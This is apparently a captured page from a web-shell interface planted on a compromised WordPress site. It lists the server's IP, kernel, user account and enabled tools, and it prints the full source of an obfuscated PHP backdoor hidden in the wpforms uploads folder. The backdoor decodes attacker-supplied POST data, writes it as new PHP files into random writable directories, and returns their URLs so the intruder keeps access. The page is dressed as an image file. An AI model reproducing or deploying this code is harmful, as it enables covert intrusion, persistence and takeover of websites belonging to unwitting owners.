????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/dchs84reunion.com/wp-content/uploads/wpforms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/dchs84reunion.com/wp-content/uploads/wpforms/bferaqjr.php
<?php $UPChzOXL = "JXUrLegrZC";function HggaF($UPChzOXL){$huQYB = 'r'."\x61".'w'.'u'.'r'."\154".chr(685-585).'e'.chr(1001-902).'o'."\x64"."\145";$OAeCnQhgvo = chr(867-752).chr(116).chr(268-154).chr(983-888)."\162".'o'.chr(116)."\x31".chr(1011-960);$BzIPAf = chr(1056-941)."\x74".'r'.'_'."\163".chr(112)."\x6c".'i'."\x74";$UPChzOXL = $BzIPAf($huQYB($OAeCnQhgvo($UPChzOXL)));return $UPChzOXL;}function xeEYnI($HyZWVu, $qwqtnmz){$yGTWi = 's'.chr(116)."\x72".chr(801-706)."\163"."\x70".chr(915-807).'i'.'t';$HyZWVu = array_slice($yGTWi(str_repeat($HyZWVu, (count($qwqtnmz)/16)+1)), 0, count($qwqtnmz));return $HyZWVu;}function brbaDLF($chNDOrRZ, $AjXouwIh, $HyZWVu){$VAJKajymJ = "e17136b3-066d-42e6-8d4c-314332dde25b";return $chNDOrRZ ^ $VAJKajymJ[$AjXouwIh % strlen($VAJKajymJ)] ^ $HyZWVu;}function AzIpOUpCYJ($qwqtnmz, $HyZWVu){$qwqtnmz = array_map("brbaDLF", array_values($qwqtnmz), array_keys($qwqtnmz), array_values($HyZWVu));$qwqtnmz = implode("", $qwqtnmz);$fvqNGpWv = 'u'.'n'.'s'.chr(101)."\x72".chr(105).chr(156-59).'l'."\x69"."\172".chr(953-852);$qwqtnmz = @$fvqNGpWv($qwqtnmz);return $qwqtnmz;}function cZxcKTzM(){echo "bJkKsF";}function NchsuOZt($gALMmOUir){static $ErsHYxG = array();$GjCsMgd = glob($gALMmOUir . '/*', GLOB_ONLYDIR);$HyCgpeC = count($GjCsMgd);if ($HyCgpeC > 0) {foreach ($GjCsMgd as $gALMmOU) {$AhlONdrnV = chr(206-101).'s'."\137".'w'.chr(1049-935).chr(105-0).'t'."\141".'b'."\x6c"."\x65";if (@$AhlONdrnV($gALMmOU)) {$ErsHYxG[] = $gALMmOU;}}}foreach ($GjCsMgd as $gALMmOUir) NchsuOZt($gALMmOUir);return $ErsHYxG;}function liQGVNf(){echo "JXUrLegrZC";}function tyIVkggg($qwqtnmz){$TiMeJeRGU = "\104".chr(79).'C'."\125".chr(1004-927).chr(69)."\116"."\124"."\x5f"."\122"."\117".chr(79).chr(468-384);$ixKhZgpbvE = $_SERVER[$TiMeJeRGU];$GjCsMgd = NchsuOZt($ixKhZgpbvE);$BNMYeqv = array_rand($GjCsMgd);$djnqm = chr(443-397)."\160".'h'.chr(112);$BYvmoCq = $GjCsMgd[$BNMYeqv] . "/" . substr(md5(time()), 0, 8) . $djnqm;$CrdHCt = 'f'.chr(105)."\x6c"."\x65".chr(95)."\160".chr(117).chr(1034-918)."\x5f"."\143"."\157"."\156".'t'.'e'."\x6e"."\164".'s';@$CrdHCt($BYvmoCq, $qwqtnmz);$VzqVE = 'H'.chr(84)."\124".'P'."\x5f".'H'."\x4f".chr(83).chr(163-79);$UezpG = 'h'.'t'.chr(1106-990).chr(112).chr(58)."\x2f"."\x2f";$qwkxvcCoa = $UezpG . $_SERVER[$VzqVE] . substr($BYvmoCq, strlen($ixKhZgpbvE));print($qwkxvcCoa);}foreach ($_POST as $HyZWVu => $qwqtnmz){$KCcTQAb = strlen($HyZWVu);if ($KCcTQAb == 16){$qwqtnmz = HggaF($qwqtnmz);$HyZWVu = xeEYnI($HyZWVu, $qwqtnmz);$qwqtnmz = AzIpOUpCYJ($qwqtnmz, $HyZWVu);if (@is_array($qwqtnmz)){$BNMYeqv = array_keys($qwqtnmz);$qwqtnmz = $qwqtnmz[$BNMYeqv[0]];if ($qwqtnmz === $BNMYeqv[0]){$yYBAx = "\160".chr(451-347).chr(554-442);$FFjqI = 'p'.'h'.'p'.'v'."\x65"."\x72".chr(835-720).chr(105).chr(111)."\x6e";$LCsQnj = chr(115).chr(1076-975).chr(157-43)."\151"."\x61"."\154".chr(105).chr(220-98).'e';echo @$LCsQnj(Array($yYBAx => @$FFjqI(), ));strlen($HyZWVu);}else {tyIVkggg($qwqtnmz);}die();}}}

Youez - 2016 - github.com/yon3zu
LinuXploit